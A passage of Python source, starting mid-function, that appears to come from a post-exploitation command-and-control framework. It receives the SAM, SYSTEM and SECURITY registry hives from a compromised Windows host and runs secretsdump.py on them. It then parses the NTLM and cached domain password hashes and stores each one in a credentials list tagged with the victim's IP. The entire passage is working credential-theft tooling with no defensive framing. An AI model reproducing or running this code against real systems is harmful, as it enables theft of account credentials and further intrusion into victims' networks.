self.decode_downloaded_data(data) f.write(data) return save_fname def report(self, handler, data, sanitize = False): task = handler.get_header("Task", False) if task == "SAM": handler.reply(200) self.print_status("received SAM hive (%d bytes)" % len(data)) self.sam_data = data return if task == "SYSTEM": handler.reply(200) self.print_status("received SYSTEM hive (%d bytes)" % len(data)) self.system_data = data return if task == "SECURITY": handler.reply(200) self.print_status("received SECURITY hive (%d bytes)" % len(data)) self.security_data = data return # dump sam here import threading self.finished = False threading.Thread(target=self.finish_up).start() handler.reply(200) def finish_up(self): from subprocess import Popen, PIPE, STDOUT p = Popen(["which", "secretsdump.py"], stdout=PIPE) path = p.communicate()[0].strip() path = path.decode() if type(path) is bytes else path if not path: print("Error decoding: secretsdump.py not in PATH!") return self.sam_file = self.save_file(self.sam_data) self.print_status("decoded SAM hive (%s)" % self.sam_file) self.security_file = self.save_file(self.security_data) self.print_status("decoded SECURITY hive (%s)" % self.security_file) self.system_file = self.save_file(self.system_data) self.print_status("decoded SYSTEM hive (%s)" % self.system_file) cmd = ['python2', path, '-sam', self.sam_file, '-system', self.system_file, '-security', self.security_file, 'LOCAL'] p = Popen(cmd, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True) output = p.stdout.read().decode() self.shell.print_plain(output) sam_sec1 = output.split("[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)")[1] sam_sec2 = sam_sec1.split("[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)")[0] sam_sec = sam_sec2.splitlines() cached_sec1 = output.split("[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)")[1] cached_sec2 = cached_sec1.split("[*] Dumping LSA Secrets")[0] cached_sec = cached_sec2.splitlines() del sam_sec[0] del cached_sec[0] for htype in ["sam", "cached"]: hsec = locals().get(htype+"_sec") if hsec[0].split()[0] == "[-]": continue for h in hsec: c = {} c["IP"] = self.session.ip hparts = h.split(":") c["Username"] = hparts[0] c["Password"] = "" if htype == "sam": c["Hash"] = hparts[-1] c["HashType"] = "NTLM" c["Domain"] = "" else: c["Hash"] = hparts[1] c["HashType"] = "DCC" c["Domain"] = hparts[2] self.shell.creds.append(c) super(HashDumpSAMJob, self).report(None, "", False) def done(self): #self.display() pass def display(self): pass